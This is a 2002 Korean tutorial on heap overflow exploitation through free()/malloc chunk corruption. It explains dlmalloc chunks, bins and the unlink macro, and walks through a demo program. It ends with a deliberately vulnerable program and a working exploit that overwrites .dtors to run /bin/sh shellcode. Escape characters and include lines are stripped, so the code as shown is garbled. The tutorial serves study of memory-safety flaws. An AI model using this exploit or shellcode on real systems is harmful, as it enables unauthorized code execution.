Heap Overflow - free/malloc

Heap Overflow - free/malloc Subject
TrueFinder님의 Heap Overflow - free/malloc... 강좌.





Heap Overflow - feee/malloc, double Free Corruption


by truefinder , 4, 2002 in Korea
frog@hackerslab.com, seo@igrus.inha.ac.kr









가. 쓰기전에
===========================

우선 글를 쓰기전에 항상 앞뒤로 물심양면 khdp 및 저를 도와주셨던 많은 분들께 감사를 드립니다.
그 분들의 도움이 없었더라면, 지금까지 제가 이 일을 계속 해 나갈수 있을지에 대해 의문입니다.
이 문서를 그 분들께 바칩니다.
Thanks to amadoh4ck, mat, oxffffff, real, river and team igrus, team nullroot.
specially thanks to intelligence troops at hackerslab.

한마디 더, 이 문서에 대한 판권(Copyright)은 없습니다.
하지만 이 내용을 자기 개인의 발전, 혹은 지식의 충족에만 활용하셨으면 좋겠습니다.
그리고 그로인해 더 많은, 더 깊은 지식의 토론이 오갔으면 하는 바램입니다.
아무쪼록 이 글이 한국의 보안 전문가 내지는 해커들에게 free/malloc exploit 혹은
heap overflow의 double free bug를 이해하시는데 도움이 되었으면 합니다.
참고로, 이 문서의 최초 공개지는 http://igrus.inha.ac.kr/~seo/exposed/heap-free.txt 입니다.




나. free/malloc method 소개
================================

free/malloc heap overflow bug는 결코 새로운 것이 아닙니다. 이것은 벌써 2000년도 여름에 Linux Security
Auditing Project의 메일링리스트에서 논의되어진 내용입니다. Chris Evans의 발의로 free()에 대한 abusing에 대해
여러사람이 참여하여 토론하던 중에 - 그중에는 유명한 Solar Designer도 있습니다 - Pekka Savola라는 사람이
LBL traceroute문제를 찾아내게 되고, 그것을 Chris Evans가 bugtraq에 권고문을 내어 실제적으로 이듬해 10월
기술적으로 뛰어난 synnergy 팀의 구성원인 dvorak이 exploit을 내놓게 되었습니다. 그리고 그 작은 일화로 인해
이 exploit method가 heap overflow의 한 기술로써 세련도를 높여 나가게 된 것입니다. 이 기술에 대한 여러가지 명칭이
있습니다. free/malloc overflow exploit, double free bug , heap structure exploits, heap corruption 등등.
전체적으로 기술적인 분류로는 heap overflow에 속하며, 본 문서에서는 free/malloc overflow라고 통칭하겠습니다.
아래의 링크를 찾아보시면 제가 위에서 말씀드린 흔적(?)들을 찾아보실 수 있습니다.

리눅스 보안 감사 프로젝트 "free() issues"
http://security-archive.merton.ox.ac.uk/security-audit-200007/index.html#13
시너지팀의 LBL traceroute exploit
http://www.synnergy.net/downloads/exploits/traceroute-exp.txt

이 기술은 format string과 함께 제 3세대 (3th generation) 기술이라고 일컬어 지고 있습니다.
이에 대한 공식적인 발표는 2001년도의 Black Hat 유럽 세미나에서, NT및 Windows 게열에 대한 섹션중에
"Third Generation Exploits on NT/Win2k Platforms" 이라는 제목으로 Halvar flake란 사람에 의해 이루어졌습니다.
거기서 그는 1세대 기술이 단순히 return address를 덮어씌우는 단순한 것이라면, 2세대 기술은 frame pointer를
overwriting하는 기술, 그리고 제 3세대기술은 malloc/free의 Overwriting이나 format string이라고 언급했습니다.
금년들어 최근에 나온 overflow류 버그들이 모두 이 기술에 해당하는 것을 보아도, 이러한 추세는 쉽게 알아 차릴 수
있습니다. 유명한 Zlib bug, Dtspcd bug, Solaris cachefsd, Sudo bug, 그리고 Wu-ftpd의 globbing 버그등...
근래의 굵직굵직하고 중요한 security issue들이 바로 이에 관련되어 있습니다.


먼저 기술적으로 간단히 언급하면,
이 free/malloc exploit은 각 OS의 free/malloc구현에 의존합니다. 그리고 stack overflow와는 달리 주로
heap excution을 사용합니다. 그리고 heap excution을 사용하기때문에 이전의 OS들이 마련한 여러가지 보호장치들을
우회할 수 있습니다. OS기반의 none-excutable stack이란 방어기법은 따라서 이 기술에서는 무용지물이 됩니다.
또한, 아직 널리 알려지지 않은 복잡한 방식이기 때문에 현재 쓰이고 있는 많은 application들에 수많은 버그들이 잠재해
있을 수 있다고 할 수 있습니다.



다. 기술의 배경 & 문제인식
============================

아주 기본적으로 다음과 같은 소스를 보겠습니다.

-- frog.c #Example for usage of free/malloc

#include

int
main( argc, argv) int argc; char *argv[];
{
char *mem;

if ( argc < 2 ){
fprintf(stderr, "need argsn");
exit(-1);
}

mem = (char*)malloc(128);
strcpy( mem, argv[1] );

printf("echo %sn", mem );
free(mem);
}

위는 128bytes 공간을 만들어서, 사용자의 입력을 받는 예입니다. 이 예는 보통 어떻게 free와 malloc을
쓰는가에 대한 것을 나타내기 위해 첨부해 보았습니다. 보통 malloc()으로 heap 영역에 사용자가 요구하는
만큼의 공간을 만들어서 동적으로 memory를 사용할 수 있게 됩니다.
위의 프로그램은 Overflow가 일어날수 있습니다. 하지만, 아직 exploit할 수 있는 방법이 없습니다.
다만 strcpy에서 segment fault가 날 뿐입니다.

일반적으로 프로그래머는 한 프로그램내에서 여러개의 동적메모리를 할당해서 쓰게됩니다.

m1 = malloc(1024);
m2 = malloc(2048);
...
free(m1);
free(m2);

아주 흔한 경우가 바로 위와 같은 식입니다.
(double free bug라는 용어의 기원은 위의 예에서 맨 아래 두줄에서 찾을 수 있습니다.)
문제는 m1의 입력을 받으면서 입력의 길이에서 overflow체크를 하지 않아 m2의 메모리영역을 덮어쓸 때입니다.


실제 코드와 실행상태를 살펴보면 아래와 같습니다.

--frog2.c #example of double free corruption
#include
#include

int
main( argc, argv) int argc; char *argv[];
{
char *m1, *m2;

m1 = malloc( 128 );
m2 = malloc( 32);

//...works something.
strcpy( m1, argv[1] );
//...did

/// break here.
free(m1);
free(m2);
}


[seo@omg ex]$ gcc -o frog2 frog2.c -g
[seo@omg ex]$ ./frog2 `perl -e 'print "A"x200'`
Segmentation fault (core dumped)
[seo@omg ex]$ gdb frog2 core
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
Core was generated by `./frog2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x400a094d in chunk_free (ar_ptr=0x40152160, p=0x80496d8) at malloc.c:3231
3231 malloc.c: No such file or directory.
in malloc.c
(gdb) info reg
eax 0x8049760 134518624
ecx 0x41414140 1094795584
edx 0x8049760 134518624
ebx 0x40153c90 1075133584
esp 0xbffff9b0 0xbffff9b0
ebp 0xbffff9d8 0xbffff9d8
esi 0x40152160 1075126624
edi 0x80496d8 134518488
eip 0x400a094d 0x400a094d
eflags 0x10202 66050
cs 0x23 35

... 생략 ...

하지만, 위에서 보는 바와 같이, malloc으로부터 설정된 메모리의 overflow는 stack overflow와는 달리,
직접적으로 return address같은 민감한 부분을 건드리는 것처럼 보이지는 않습니다. 하지만 해커들의 눈에는
이 문제가 그렇게 단순하 보이지 만은 않았는가 봅니다. 과거 그들의 여러가지 test 및 auditing을 통해
free의 inner function인 chunk_free()의 부분에서 security문제에 영향을 끼치는 것으로 증명을 해냈습니다.
앞으로 나올 장에서 우리는 그것들을 세세히 살펴보려고 합니다.



라. Chunk & Bins Management
============================

아래에서 우리는 malloc.c의 몇가지의 자료구조와 소스들를 살펴볼 것입니다. 이것은 우리가 처음 malloc및 free에
대한 해킹을 하기위한 전초전 정도로 보면 될 것입니다. 여러분은 우선 chunk라는 새로운 데이터구조와, bins및
bin management 라는 chunk list를 구성하는 알고리즘에 관련해서 그것들이 무엇인지, 어떤 역할을 수행하는지를
알아야 합니다.

우리가 malloc()으로 동적메모리를 구성하는 것은 heap에 chunk라는 자료구조를 하나 선언하는 것과 같습니다.
chunk라는 자료구조는 유저가 얼만큼의 메모리를 선언했는가(size), 이전의 chunk가 어떻게 쓰이고 있는가와
실제 쓰여지는 메모리영역, 그리고 chunk리스트를 유지하기 위한 double linked list 포인터들(fd,bk)을
포함합니다.

우리가 다음과 같은 선언을 하게 되면,

mem = malloc(USER_ALLOCATE_SIZE);

할당되는 chunk의 모습은 아래와 같습니다.



chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if allocated | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_space() bytes) .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


위에서 보면,
이전의 chunk에 대한 크기, 현 chunk의 크기, 그리고 실제 우리가 사용하는 메모리영역을 찾아 볼 수 있습니다.
메모리의 사용을 종료하기 위해 mem이 free()되면

free(mem);

다음과 같은 모습을 갖게 됩니다.


chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | Size of chunk, in bytes |P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | Size of chunk, in bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


처음의 두 필드는 같게 사용되지만, free()후에는 나머지 두개의 자료구조 필드가 더 형성됩니다.
바로 Forward pointer와 , Back pointer라는 것입니다. 이것은 이전 chunk와 다음의 chunk를 가르키게 됩니다.
이는 각 free된 chunk들이 double linked list로 연결되어 있음을 말해주는 대목입니다. 이와 같이 하는 이유는
각 동적 메모리를 효율적으로 관리하기 위함입니다. free된 chunk들이 서로 연계되어 있음으로해서 새로운 동적메모리
요청이 있을때, 프로그램에서 사용이 종료된 메모리 (free된 메모리)를 탐색하여 재할당하는 등을 통해서 좀 더
효율적으로 메모리 관리/접근을 수행할 수 있습니다.
- 이를테면, 여러개의 메모리를 할당하고, 중간에 어떤 것을 free시킨후 다시 다른 메모리를 할당하려는 경우,
먼저 free된 chunk들의 리스트를 보며 검색, 재할당함으로써 효율성을 높입니다. -

이러한 알고리즘을 bins management라고 부릅니다. 실제로 bins자체는 각 chunk의 forward pointer와
backward pointer의 pair배열입니다만, 바로 아래와 같은 역할을 수행하는 실제적인 일을 합니다.



+---+ +---------------+ +---------------+ +----+ +-----~
| v | v | v | v |
+-----------+------+-------+-----------+-------+-----------+-------+------+---~
| allocated | Free | Free | allocated | Free | allocated | Free | Free |
+-----------+------+-------+-----------+-------+-----------+-------+------+---~
^ | ^ | ^ | ^ | ^
+---+ +---------------+ +---------------+ +----+ +-----~


이에 대한 자료구조의 정의는 다음과 같습니다.

--malloc.c #malloc 자료구조
/*
Type declarations
*/
struct malloc_chunk
{
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
};
...



마. Free() 메커니즘
======================

위를 통해 chunk라는 것과, bins management에 대해서 알게 되었습니다. 우리가 이제 살펴보야할 것은 이제
그것들이 어떻게 문제가 되느냐 하는 것입니다. 앞에서도 보았듯이 각 free된 chunk들은 더블링크드 리스트에
의해 관리되고 있습니다. *더 자세히 살펴보아야 할것은 바로 이 free()의 과정에서 각 chunk를 관리할때,
사용중이지 않는 이전 chunk, 혹은 이후의 chunk에 대해서 병합과정을 수행한다는 것입니다. 이것 역시 효율성을
위해서 입니다. 그 과정에서 double linked list의 각 포인터들이 바뀌는 장면이 있는데, 바로 이것이 문제가
되는 곳이라고 할 수 있겠습니다.

전 장에서 보았던 chunk의 구조를 보면 상단 우측 끝에 P라는 flag가 있는데, 이것이 바로 이전 chunk가
allocated되어 있는가(사용중인가)와 그렇지 않은가를 나타내 줍니다. 보통 PREV_INUSE라는 정의로 marking하는데,
그 flag가 1로 붙어있을 경우는 이전의 chunk가 사용중이며 병합을 수행하지 않습니다. 그러나 그 mark가 없을경우
free()수행중에 이전 청크를 병합하는 과정을 수행하게 됩니다. 아래 소스를 참고하세요.

Memory deallocation의 세가지 법칙

1.When the chunk to be freed borders the wilderness chunk,
it is consolidated into it
2.If the chunk before the one to be freed is unallocated,
it is consolidated into a single large chunk
3.If the chunk after the one to be freed is unallocated,
it is consolidated into a single large chunk


--malloc.c # free()알고리즘 부분
/*

free() algorithm :

cases:

1. free(0) has no effect.

2. If the chunk was allocated via mmap, it is released via munmap().

3. If a returned chunk borders the current high end of memory,
it is consolidated into the top, and if the total unused
topmost memory exceeds the trim threshold, malloc_trim is
called.

4. Other chunks are consolidated as they arrive, and
placed in corresponding bins. (This includes the case of
consolidating with the current `last_remainder').

*/


#if __STD_C
void fREe(Void_t* mem)
#else
void fREe(mem) Void_t* mem;
#endif
{
arena *ar_ptr;
mchunkptr p; /* chunk corresponding to mem */

#if defined _LIBC || defined MALLOC_HOOKS
if (__free_hook != NULL) {
#if defined __GNUC__ && __GNUC__ >= 2
(*__free_hook)(mem, RETURN_ADDRESS (0));
#else
(*__free_hook)(mem, NULL);
#endif
return;
}
#endif

if (mem == 0) /* free(0) has no effect */
return;

p = mem2chunk(mem);

#if HAVE_MMAP
if (chunk_is_mmapped(p)) /* release mmapped memory. */
{
munmap_chunk(p);
return;
}
#endif

ar_ptr = arena_for_ptr(p);
#if THREAD_STATS
if(!mutex_trylock(&ar_ptr->mutex))
++(ar_ptr->stat_lock_direct);
else {
(void)mutex_lock(&ar_ptr->mutex);
++(ar_ptr->stat_lock_wait);
}
#else
(void)mutex_lock(&ar_ptr->mutex);
#endif
chunk_free(ar_ptr, p);
(void)mutex_unlock(&ar_ptr->mutex);
}

static void
internal_function
#if __STD_C
chunk_free(arena *ar_ptr, mchunkptr p)
#else
chunk_free(ar_ptr, p) arena *ar_ptr; mchunkptr p;
#endif
{
INTERNAL_SIZE_T hd = p->size; /* its head field */
INTERNAL_SIZE_T sz; /* its size */
int idx; /* its bin index */
mchunkptr next; /* next contiguous chunk */
INTERNAL_SIZE_T nextsz; /* its size */
INTERNAL_SIZE_T prevsz; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */
int islr; /* track whether merging with last_remainder */

check_inuse_chunk(ar_ptr, p);

sz = hd & ~PREV_INUSE;
next = chunk_at_offset(p, sz);
nextsz = chunksize(next);

if (next == top(ar_ptr)) /* merge with top */
{
sz += nextsz;

if (!(hd & PREV_INUSE)) /* consolidate backward */
{
prevsz = p->prev_size;
p = chunk_at_offset(p, -(long)prevsz);
sz += prevsz;
unlink(p, bck, fwd);
}

set_head(p, sz | PREV_INUSE);
top(ar_ptr) = p;

#if USE_ARENAS
if(ar_ptr == &main_arena) {
#endif
if ((unsigned long)(sz) >= (unsigned long)trim_threshold)
main_trim(top_pad);
#if USE_ARENAS
} else {
heap_info *heap = heap_for_ptr(p);

assert(heap->ar_ptr == ar_ptr);

/* Try to get rid of completely empty heaps, if possible. */
if((unsigned long)(sz) >= (unsigned long)trim_threshold ||
p == chunk_at_offset(heap, sizeof(*heap)))
heap_trim(heap, top_pad);
}
#endif
return;
}

islr = 0;

if (!(hd & PREV_INUSE)) /* consolidate backward */
{
prevsz = p->prev_size;
p = chunk_at_offset(p, -(long)prevsz);
sz += prevsz;

if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */
islr = 1;
else
unlink(p, bck, fwd);
}

if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */
{
sz += nextsz;

if (!islr && next->fd == last_remainder(ar_ptr))
/* re-insert last_remainder */
{
islr = 1;
link_last_remainder(ar_ptr, p);
}
else
unlink(next, bck, fwd);

next = chunk_at_offset(p, sz);
}
else
set_head(next, nextsz); /* clear inuse bit */

set_head(p, sz | PREV_INUSE);
next->prev_size = sz;
if (!islr)
frontlink(ar_ptr, p, sz, idx, bck, fwd);

#if USE_ARENAS
/* Check whether the heap containing top can go away now. */
if(next->size < MINSIZE &&
(unsigned long)sz > trim_threshold &&
ar_ptr != &main_arena) { /* fencepost */
heap_info *heap = heap_for_ptr(top(ar_ptr));

if(top(ar_ptr) == chunk_at_offset(heap, sizeof(*heap)) &&
heap->prev == heap_for_ptr(p))
heap_trim(heap, top_pad);
}
#endif
}


앞서 말했듣이 어떤상황에서 free는 서로 병합되는 과정을 거칩니다. 위에서 문제가 되는 부분은 바로
unlink라는 매크로부분인데, free의 double linked list에 각 이전 이후의 포인터를 바꾸는 역할을 합니다.

--malloc.c # unlink매크로 부분
/* take a chunk off a list */

#define unlink(P, BK, FD)
{
BK = P->bk;
FD = P->fd;
FD->bk = BK;
BK->fd = FD;
}


원래의 chunk의 double linked list의 모습이 다음과 같은 모양이라면, P를 free()할때,
아래와 같은 모습으로 수행이 됩니다.

+------------------+ +----------------+ +----->
|fd | |fd | |
+------+------+ bk +----v---+----+ bk +----v--+-----+
| BK |<-----| P |<-----| FD |
+-------------+ +-------------+ +-------------+


그리고 P에 대한 free()가 수행될때 그 이전chunk와 , 이후 chunk의 앞뒤를 가르키는 fd, bk 포인터가
P를 제외하면서 치환 되게됩니다.

BK.fd = P.fd = *FD
+----------------------------------------+
| |
+------+------+ +-------------+ +-----v-------+
| BK | | P | | FD |
+------^------+ +-------------+ +------+------+
| |
+-----------------------------------------+
FD.bk = P.bk = *BK



문제가 발생하는 것은 바로 이곳이며, BK.fd와 FD.bk가 각각 치환될때 어떤임이의 주소영역에
덮어 써 질수 있다는 것입니다. 왜냐하면, Overflow에 의해 우리가 FD chunk의 자료구조에 대한
control을 가지고 있기때문입니다. 아래장에서는 이 문제를 자세히 다루어 보도록 하겠습니다.


참고적으로 이해를 돕기위한 더 직관적인 설명과 그림은 아래와 같습니다.

free A를 할때 ,

1. A.size += B.size,
2. unlik B from chunk list

+----------+ +----------+ +----------+ +----------+
| | <------- | | <------- | | <------- | |
| | -------> | A | -------> | B | -------> | |
+----------+ +----------+ +----------+ +----------+


+----------+ +---------------------+ +----------+
| | <------- | | <------- | |
| | -------> | A.B (병합됨) | -------> | |
+----------+ +---------------------+ +----------+





바. Overflow Chunk !
==================================

LBL traceroute를 exploit하는데 성공한 dvorak이 그의 exploit과 document를 발표하면서 독자의 이해를 돕기위해
첨부한 간단한 소스를 참고함으로써 free/malloc에 대한 실제 과정을 살펴볼수 있습니다.

--dvorak.c #dvorak 첨부소스

void
main(void)
{
unsigned int *chunk;
int i;
unsigned int shellcode[10];
unsigned int ret_addr_2_change = 0xAABBCCDD;


/* Get some space */
chunk = malloc(0x8);

/* now setup the chunk to fool chunk_free()
By making prev_size negative it will look
_after_ this chunk in stead of in front of it
*/
#define DUMBPTR 0x11111111
chunk[0] = -0x10; /* prev_size */
chunk[1] = 0x11; /* size */
chunk[2] = DUMBPTR ;//shellcode; /* fd */
chunk[3] = DUMBPTR ;//shellcode; /* bk */

/* set fd to the adres of the return address - 3
the minus 3 is needed because fd[3] will become bk
bk will be set to point to our shellcode. Remember that
bk[2] will be changed to contain fd so that there should be
a jmp or so in the shellcode to skip that value.
*/
//chunk[4] = -0x10; // don't care
//chunk[4+1] = -0x10; // don't care
chunk[4+2] = (int) (&ret_addr_2_change - 3);
chunk[4+3] = (int) (shellcode);

/* set shellcode to 0 so that we can see the change */
memset(shellcode, 0, sizeof(shellcode));

printf("*******ret (before) : %xn", ret_addr_2_change);
printf("address of ret: %xn", &ret_addr_2_change);
printf("address of shellcode: %xn", shellcode);

/* remember we give mem to free which finds the chunk based on
that */
free(&chunk[2]); //free(chunk+2);


printf("*******ret (now ) : %xn", ret_addr_2_change);
for (i = 0 ; i < 10; i++) {
printf("sh: %d : %x n", i, shellcode[i]);
}
}

seo@omg test]$ ./dvorak
*******ret (before) : aabbccdd
address of ret: bffffa9c
address of shellcode: bffffaa0
*******ret (now ) : bffffaa0
sh: 0 : 0
sh: 1 : 0
sh: 2 : bffffa90
sh: 3 : 0
sh: 4 : 0
sh: 5 : 0
sh: 6 : 0
sh: 7 : 0
sh: 8 : 0
sh: 9 : 0

위에서 dvorak은 핵심적인 몇가지 변수를 임의로 설정해 놓고 그것에 각각 shellcode라는 변수명과
return address는 변수명을 지칭했습니다. 이는 실제 exploit의 개념에도 그대로 적용할수 있는 것으로,
변수명을 주의하면서 동작과정을 주시해야 할 필요가 있습니다.
dvorak이 설정한 위와 같은 가정하에 위의 소스와 결과를 살펴보도록 하겠습니다.

먼저 그는 두개의 chunk를 만들게 됩니다. 각각 아래와 같은 모양을 하고 있습니다.
변수로는 하나를 명명했지만 실제로는 두개의 chunk라는 것에 주의하기 바랍니다.
저는 여기서 그의 두 chunk를 각각 한글명 청크1, 청크2라고 명시하겠습니다.


(int*)chunk

[0] prev_size = -0x10 [4] prev_size = ?
[1] size = 0x11 [5] size = ?
[2] fd = &shellcode [6] fd = &return address - 12bytes
[3] bk = &shellcode [7] bk = &shellcode

청크1 청크2


위에서 보았던 free()알고리즘에 의해, free(청크1)은 먼저 청크2의 사용유무를 검사할 것입니다.
-이것은 청크2를 병합할 것인가에 대한 검사입니다. - 그런후, 청크2의 size을 자신의 size에 더하고 청크2를
unlink할 것입니다. unlink 매크로에 의해 청크2의 fd, bk포인터는 몇가지 overwriting을 수행합니다.
그것은 chunk[6]과 chunk[7]을 참조함으로써 이루어 집니다.


free()전

+----> ? +------ fd -----------+
| | v
*shellcode 있는곳 chnunk[4] *return address
^ (청크2 ) |
| | |
+---------bk-------------+ ? <----+


free()후

+----> ?
|
*shellcode있는곳 chunk[4] *return address
^ (청크2) |
| |
+------------------- bk -----------------------+


cf. *return address가 있는 곳으로부터 12byte뒤에 메모리가 shellcode를 가르키게 될것입니다.
따라서, exploit시에는 return address에서 12 byte먼저 뺀 주소처음에 가르키게 해야합니다.


실행결과를 보아도 알 수 있듯이, return address라고 가정했던 변수 ret_addr_2_change 가 처음엔 0xaabbccdd의
값을 가지고 있다가, free후에 shellocde의 주소인 0xbffffaa0를 가르키고 있습니다.
물론, shellcode 영역의 12byte뒤에 뭔가 dummy값이 쓰여졌다는 것도 찾아볼수 있습니다.
ulink매크로는 shellocode.fd에 overwriting을 수행하는데 , shellocde.fd는 곧 주소 (shlleocde + 12)와
같은 의미이기 때문입니다.

결론적으로, 우리는 dvorak의 훌륭한 tricking으로 프로그램내에서 return address를 shellcode로 가르키게 하는데
성공했습니다. 이것으로 우리의 준비과정은 모두 끝났다고 생각됩니다.

그럼 실제적인 exploit으로 들어가기 전에 하나의 예제를 더 보고 explit코드를 짜 보겠습니다.


--exp2.c #모의 exploit 예제
#include

static char shellcode[]=
"xebx0a" //this jumps 10 bytes to the real shellcode
"xxxxxxOOOO" //the 'O's are overwritten
//normal aleph1 shellcode
"xebx1fx5ex89x76x08x31xc0x88x46"
"x07x89x46x0cxb0x0bx89xf3x8dx4e"
"x08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";

static int *shptr;

int
main(int argc, char *argv[])
{

char *m , *m2;
int *ptr, *ptr2;
int i;

m = malloc(32);
m2 = malloc(16);

ptr = (int *)( m) ;
//ptr[0-2] // prev_size
//ptr[0-1] // size
ptr[0] = -0x10; // fd
ptr[1] = -0x10; // bk

#define DTORS 0x80496f0
#define FAKEFIELD 0xfffffffc //high to add to a pointer
#define PREV_INUSE 0x1
// user request 32, so next chunk started at, ptr[4]
ptr[8] = -0x4 ;
ptr[8+1] = -0x1 ;
ptr[8+2] = (int) (DTORS -3*sizeof(int));
ptr[8+3] = (int)shellcode ;


free(m);
free(m2);

shptr = shellcode ;


for( i=0 ; i< (strlen(shellcode)/4 +1) ; i++ )
printf("shellcode[%d] = %#xn", i, shptr[i] );
}


이 코드는 free가 수행되고 프로그램이 끝나는 동시에 shellcode가 실행되게 구성되어 있습니다.
return address대신 .dtors를 사용했으며, 실제 shellocde+12 영역에 덮혀지는 dummy값을 뛰어
넘기위해 jump코드(xebx0a)를 앞에 삽입했습니다. 우리는 m에 대해 overflow한다고 가정을 하고
ptr로 overflow처럼 메모리를 '모의 접근'했습니다. ptr[0]와 ptr[1]은 단순히 null을 피학위한 dummy
값이므로 신경쓰지 않으셔도 됩니다. 다만, m2의 chunk즉 ptr[8]에서 음수를 쓰는이유는, 단순히 NULL을
피하고, 병합여부를 결정하는 과정에서 PREV_INUSE의 mask체킹을 우회하기 위한 까닭입니다.
참고로 -0x4는 0xfffffffc입니다.


그럼 아래에는 아주 일반적인 예제 exploit을 첨가해 보겠습니다.



사. exploit
======================

--vul.c #free/malloc overflow에 취약한 프로그램
#include
#include
#include

int
main(argc, argv)
int argc;
char *argv[];
{
char *m1, *m2;

m1 = malloc(130);
m2 = malloc(30);

if ( argc< 2)
{ fprintf(stderr, "error argsn" ); exit(0); }

strcpy( m1 , argv[1] );

free(m1);
free(m2);
}

--exp3.c #free/malloc exploit for vul
#include
#include
#include
#include

static char shellcode[]=
"xebx0a" //this jumps 10 bytes to the real shellcode
"xxxxxxOOOO" //the 'O's are overwritten
//normal aleph1 shellcode
"xebx1fx5ex89x76x08x31xc0x88x46"
"x07x89x46x0cxb0x0bx89xf3x8dx4e"
"x08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";

int
main(argc, argv)
int argc;
char *argv[];
{
char buf[400];
int *iptr; char *cptr;
int i;

// buf(132) + size + fd + bk
#define FAKEOFF 0xffffffff
memset ( buf , 'x90', sizeof(buf) );

iptr = (int*)buf ;

iptr[0] = -0x10;
iptr[1] = -0x10;

cptr = (char*)&iptr[2];
for ( i=0 ; i < strlen(shellcode) ; i++ ) {
cptr[i] = shellcode[i];
}

#define DTORS 0x08049674
#define SHELLOFF 0x080497a0
#define PREV_INUSE 0x01
iptr = (int*)&buf[128];

iptr[0] = -0x4 ;
iptr[1] = -0x1 ;
iptr[2] = (int)DTORS - (sizeof(int)*3);
iptr[3] = (int)SHELLOFF;
iptr[4] = 0;

execl("./vul", "vul", buf, (char*)NULL );
}


* 컴파일해서 자신의환경에 맞게 사용하시기 바랍니다.





아. 사족
=================

앞에서 설명한 바와 같이, 이 기술은 OS와 hardware에 굉장히 dependent합니다.
따라서 exploit들은 항상 해당 OS의 malloc/free에 대한 구현을 정확히 파악하고 있어야 합니다.
동적메모리 할당에 관한 알고리즘의 리스트를 아래 나열합니다.
개인적으로 Doug Lee에 대한 malloc/free exploit 말고도, 많은 연구가 진행되었으면 합니다.


Boehm-Weiser Conservative Garbage Collector
http://www.hpl.hp.com/personal/Hans_Boehm/gc/

BSD Malloc, originally by Chris Kingsley
http://www.ajk.tele.fi/libc/stdlib/malloc.3.html

CSRI UToronto Malloc, by Mark Moraes
http://www.cs.toronto.edu/~moraes/

GNU Malloc, by Mike Haertel
ftp://ftp.cs.colorado.edu/pub/misc/malloc-implementations

G++ Malloc, by Doug Lea
http://g.oswego.edu/dl/html/malloc.html

Hoard, by Emery Berger
http://www.hoard.org/

mmalloc (the GNU memory-mapped malloc package)
http://www.sdsu.edu/doc/texi/mmalloc_toc.html

ptmalloc, by Wolfram Gloger
http://www.malloc.de/en/index.html

QuickFit Malloc
ftp://ftp.cs.colorado.edu/pub/misc/qf.c

Vmalloc, by Kiem-Phong Vo
http://www.research.att.com/sw/tools/vmalloc/





자. Reference
===================

[1] "Once upon a free()"
anonymous
http://www.phrack.org/show.php?p=57&a=9

[2] "Vudo malloc tricks "
Michel "MaXX" Kaempf
http://www.phrack.org/show.php?p=57&a=8

[3] "A Memory Allocator"
Doug Lea, dl@gee.cs.oswego.edu
http://g.oswego.edu/dl/html/malloc.html

[4] "free() issues"
http://security-archive.merton.ox.ac.uk/security-audit-200007/index.html#13

[5] "LBL traceroute exploit"
dvorak, (dvorak@synnergy.net)
http://www.synnergy.net/downloads/exploits/traceroute-exp.txt

[6] "Overwriting .dtors Using Malloc Chunk Corruption"
Nippon, (nivinity@hotmail.com)
"http://www.securitywriters.org/texts/coding/dtors_malloc.php"